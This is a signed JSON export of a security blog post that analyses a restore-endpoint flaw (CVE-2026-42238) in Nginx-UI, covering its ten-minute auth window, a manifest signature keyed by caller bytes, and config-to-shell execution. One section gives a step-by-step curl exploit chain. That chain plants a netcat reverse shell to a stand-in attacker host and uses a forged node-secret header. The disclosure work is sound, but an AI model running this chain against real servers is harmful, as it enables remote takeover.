-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## The Time Gate Is Not The Quietest Failure\n\nThe router that registers `/api/restore` is four lines of intent.\n\n```go\n// api/backup/router.go (v2.3.7)\nfunc authIfInstalled(ctx *gin.Context) {\n if system.InstallLockStatus() || system.IsInstallTimeoutExceeded() {\n middleware.AuthRequired()(ctx)\n } else {\n ctx.Next()\n }\n}\n\nfunc InitRouter(r *gin.RouterGroup) {\n r.GET(\"/backup\", middleware.AuthRequired(), CreateBackup)\n r.POST(\"/restore\", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)\n}\n```\n\n`InstallLockStatus()` reads `settings.NodeSettings.SkipInstallation || cSettings.AppSettings.JwtSecret != \"\"`. `IsInstallTimeoutExceeded()` reads `time.Since(startupTime) > 10*time.Minute`, where `startupTime` is set in a package `init()` function that runs at process start. The shape is `internal-only-by-convention` extended over time rather than namespace. The \"internal-only\" status of the restore endpoint is held by the assumption that within ten minutes of process start, the only caller is an operator on a console somewhere. Ten minutes is a convention. The network has no way to know.\n\nInternet-exposed nginx-ui instances that have not finished the install wizard are exploitable on every restart. Reachable instances that have finished install are not exploitable through the time gate. CVE-2026-42238's advisory framing, \"first 10 minutes after startup,\" is the whole story for the perimeter. It is not the whole story for the bug.\n\n## The Signing Key For The Manifest Is On The Request That Delivers The Manifest\n\nA nginx-ui backup is a zip that contains `nginx-ui.zip` (the app config archive) and `nginx.zip` (the nginx config archive), plus `manifest.json` and `manifest.sig`. The restore request includes a `security_token` form field of the form `:`. The server uses those bytes to AES-decrypt the inner zips, and uses them to verify the manifest signature.\n\n```go\n// internal/backup/manifest.go (unchanged in v2.3.8)\nconst manifestKeyContext = \"nginx-ui-backup-signing-v1:\"\n\nfunc deriveBackupSigningKeyFromAESKey(aesKey []byte) ([]byte, error) {\n if len(aesKey) == 0 {\n return nil, ErrInvalidAESKey\n }\n sum := sha256.Sum256(append([]byte(manifestKeyContext), aesKey...))\n return sum[:], nil\n}\n\nfunc verifyManifestSignatureWithFallback(manifestBytes []byte, signature string, aesKey []byte) error {\n aesSigningKey, err := deriveBackupSigningKeyFromAESKey(aesKey)\n if err == nil && verifyManifestSignature(manifestBytes, signature, aesSigningKey) == nil {\n return nil\n }\n\n legacySigningKey, err := deriveBackupSigningKey()\n if err == nil && verifyManifestSignature(manifestBytes, signature, legacySigningKey) == nil {\n return nil\n }\n\n return ErrInvalidManifestSig\n}\n```\n\n`aesKey` is the bytes the caller put on this request. `deriveBackupSigningKeyFromAESKey` is `sha256(\"nginx-ui-backup-signing-v1:\" + caller_bytes)`. The HMAC verify call on the next line uses that derived key against the signature the caller embedded in their own zip.\n\nTwo surfaces, one caller, one key. The signature does not bind a backup to its issuer. It binds a backup to itself.\n\nThe fallback path exists for backups produced before this scheme existed. Older backups are HMAC'd with `settings.CryptoSettings.Secret`, the local crypto-secret on the running instance, and an attacker without that secret cannot forge a legacy-format manifest. They have no need to. The first path returns nil, and the function returns nil, and the manifest is \"verified.\"\n\nThis is `caller-chosen-key`. The pattern's [canonical exhibit](/posts/restropress-token-is-issued-not-forged) is RestroPress's WordPress JWT, where the issuer reads `Authorization` from the request and signs a token with that value as the HMAC key, and the verifier reads `x-api-key` from a later request and decodes with that value as the HMAC key. Same caller, two headers, one key. Nginx-UI compresses the same shape into one endpoint: same caller, one form field, one key, used for sign and for verify on opposite sides of the transport.\n\n## The Restored Config File Is The Next Process's argv\n\nThe restore handler decrypts the inner zips, extracts them, and copies `app.ini` to `cosysettings.ConfPath`:\n\n```go\n// internal/backup/restore.go\nfunc restoreNginxUIConfig(nginxUIBackupDir string) error {\n configDir := filepath.Dir(cosysettings.ConfPath)\n if configDir == \"\" {\n return ErrConfigPathEmpty\n }\n\n srcConfigPath := filepath.Join(nginxUIBackupDir, \"app.ini\")\n if err := copyFile(srcConfigPath, cosysettings.ConfPath); err != nil {\n return err\n }\n ...\n}\n```\n\nTwo seconds after responding 200, the handler calls `risefront.Restart()`, a graceful re-exec of the binary. The new process loads its config from `cosysettings.ConfPath`, the file the previous process just rewrote with attacker bytes.\n\nThis is `unauth-write-to-execution-path`. `cosysettings.ConfPath` is not data the next process will parse and decide what to do with. It is the next process's argv table for every shell call the binary makes. The example app.ini ships with these fields:\n\n```ini\n[app]\nJwtSecret =\n\n[nginx]\nTestConfigCmd =\nReloadCmd = nginx -s reload\nRestartCmd = start-stop-daemon --start --quiet --pidfile /var/run/nginx.pid --exec /usr/sbin/nginx\n\n[terminal]\nStartCmd = bash\n\n[node]\nName = Local\nSecret =\n```\n\nEach of those command fields is read by code that hands it to a shell:\n\n```go\n// internal/nginx/exec.go\nfunc execShell(cmd string) (stdOut string, stdErr error) {\n var execCmd *exec.Cmd\n if runtime.GOOS == \"windows\" {\n execCmd = exec.Command(\"cmd\", \"/c\", cmd)\n } else {\n execCmd = exec.Command(\"/bin/sh\", \"-c\", cmd)\n }\n ...\n}\n```\n\n`TestConfigCmd` flows to `execShell` from `nginx.TestConfig()`. `ReloadCmd` flows to `execShell` from `nginx.Reload()`. `RestartCmd` flows to `execShell` from `nginx.restart()`. `Terminal.StartCmd` flows to `exec.Command` from the web-terminal handler at `internal/pty/pipeline.go`. After the restart, each is `/bin/sh -c ` or `exec.Command()`. The config file is the program.\n\n`[node].Secret` is the master auth bypass on the same restored process. The auth middleware reads:\n\n```go\n// internal/middleware/middleware.go\nif nodeSecret := getNodeSecret(c); nodeSecret != \"\" && nodeSecret == settings.NodeSettings.Secret {\n initUser := user.GetInitUser(c)\n c.Set(\"Secret\", nodeSecret)\n c.Set(\"user\", initUser)\n c.Next()\n return\n}\n```\n\nSend `X-Node-Secret: ` and the request authenticates as the init user (admin, ID 1). After the restart the attacker holds both halves: the admin credential they minted by writing it into the config file, and four shell-execution sinks they planted in the same file. `POST /api/nginx/test` with that header runs `/bin/sh -c `. Opening the terminal websocket runs `exec.Command()`.\n\nThe exploit chain is one HTTP POST plus one process restart plus one X-Node-Secret request. The restart is performed by the server itself, two seconds after the POST returns. End to end:\n\n```bash\n# 1. Confirm the install window is open.\ncurl -s http://target:9000/api/install\n# {\"lock\":false,\"timeout\":false}\n\n# 2. Build a backup whose app.ini sets [node].Secret = \"pwn\"\n# and [nginx].TestConfigCmd = \"id; nc attacker 4444 -e /bin/sh\".\n# Sign the manifest with HMAC-SHA256(sha256(\"nginx-ui-backup-signing-v1:\" + K), manifest_bytes)\n# where K is whatever 32-byte AES key the attacker chose.\n# Build the outer zip. Encrypt the inner zips with K and IV.\n\n# 3. Submit the restore.\ncurl -X POST http://target:9000/api/restore \\\n -F \"restore_nginx=true\" -F \"restore_nginx_ui=true\" \\\n -F \"verify_hash=true\" \\\n -F \"security_token=$(echo -n $K | base64):$(echo -n $IV | base64)\" \\\n -F \"backup_file=@malicious-backup.zip\"\n# {\"nginx_ui_restored\":true,\"nginx_restored\":true,\"hash_match\":true}\n\n# 4. Wait for the graceful restart (~2s). Then trigger TestConfig.\ncurl -X POST http://target:9000/api/nginx/test \\\n -H \"X-Node-Secret: pwn\"\n```\n\n`hash_match: true` is the server reporting that it verified the manifest signature with a key the attacker provided.\n\n## The Patch Closes The Route. It Does Not Close The Signature.\n\nv2.3.8 rewrites `api/backup/router.go`:\n\n```diff\n- r.POST(\"/restore\", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)\n+ r.POST(\"/restore\", middleware.AuthRequired(), middleware.EncryptedForm(), RestoreBackup)\n+\n+ // separate group for the install-time restore\n+ func InitSetupRouter(r *gin.RouterGroup) {\n+ r.POST(\"restore\", middleware.EncryptedForm(), RestoreBackup)\n+ }\n```\n\nThe post-install route now requires real authentication. The setup-only route is registered under a separate group whose middleware is `SetupAuthRequired()`:\n\n```go\n// internal/middleware/install_secret.go (new in v2.3.8)\nfunc SetupAuthRequired() gin.HandlerFunc {\n return func(c *gin.Context) {\n if internalSystem.InstallLockStatus() {\n cosy.ErrHandler(c, internalSystem.ErrInstalled)\n c.Abort()\n return\n }\n if internalSystem.IsInstallTimeoutExceeded() {\n cosy.ErrHandler(c, internalSystem.ErrInstallTimeout)\n c.Abort()\n return\n }\n secret := getInstallSecret(c)\n if err := authorizeWithInstallSecret(c, secret); err != nil {\n cosy.ErrHandler(c, err)\n c.Abort()\n return\n }\n c.Next()\n }\n}\n```\n\n`authorizeWithInstallSecret` reads `X-Install-Secret` and compares it constant-time against the contents of `.install_secret`, a 32-byte random value the boot pipeline writes to the config directory at startup with mode 0600:\n\n```go\n// internal/system/install_secret.go\nfunc writeInstallSecret(secret string) error {\n ...\n if _, err := tempFile.WriteString(secret + \"\\n\"); err != nil {\n return err\n }\n if err := tempFile.Chmod(0600); err != nil {\n return err\n }\n ...\n}\n```\n\nThe install secret is readable only by the user nginx-ui runs as. A network caller cannot read it. The \"internal-only\" status of the setup route is now held by file permissions, not by a clock. The convention has been replaced by an enforcement.\n\n`internal/backup/manifest.go` is byte-for-byte identical between v2.3.7 and v2.3.8.\n\nThe signature still verifies with a key the caller provides. The patch did not need it to be otherwise. As long as the route is gated, the integrity check has nothing to integrity-check; the only callers reaching it have already been authenticated by a different mechanism. The HMAC remains a self-test. It will remain a self-test the next time someone adds a route that touches restore, a CLI helper, a cluster-sync API, an unauthenticated import flow on a sister product, and inherits an integrity check that does not check integrity.\n\nThe audit shape CVE-2026-42238 asks defenders to remember: a bug closed by the perimeter is closed only as long as the perimeter holds. A bug closed by the artifact's signature is closed even if a future route reaches the same handler. Nginx-UI's restore is the first kind.\n\nPoC: [GHSA-4pvg-prr3-9cxr](https://github.com/advisories/GHSA-4pvg-prr3-9cxr)","closing_line":"The patch closes the route. It does not close the check, because the check was never one.","hook_md":"Nginx-UI v2.3.7 ships a backup-restore endpoint at `POST /api/restore` whose authentication gate is a clock. The gate checks two booleans: `InstallLockStatus()` returns true if the JWT secret is set or if `SkipInstallation` is true, and `IsInstallTimeoutExceeded()` returns true once ten minutes have passed since the Go process started. If both are false, the operator has not yet finished the install wizard, and the binary started less than ten minutes ago, the request goes through.\n\nThat window is the door CVE-2026-42238 names. Restart the process and the clock resets. A fresh container, a docker-compose `up`, a systemd reboot, each opens a new ten-minute door.\n\nThe CVE is also about a second thing, and the v2.3.8 patch does not close it.","post_id":196,"slug":"nginx-ui-backup-signature-key-on-the-request","title":"CVE-2026-42238: Nginx-UI's Backup Signature Is Signed By Whoever Sends the Backup","type":"initial","unreadable_sentence":"The signature does not bind a backup to its issuer. It binds a backup to itself."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaf9KcAAKCRDeZjl4jgkQ JrH5AQCf+ANbwiejXLm5kLpxObjgAhiWlPMYzsEOmFBiaAFbhwEAx4lSv0DwmN0o NN0wZ8vmw6XSxttLrR0+pg5YJ8jkcws= =gSBS -----END PGP SIGNATURE-----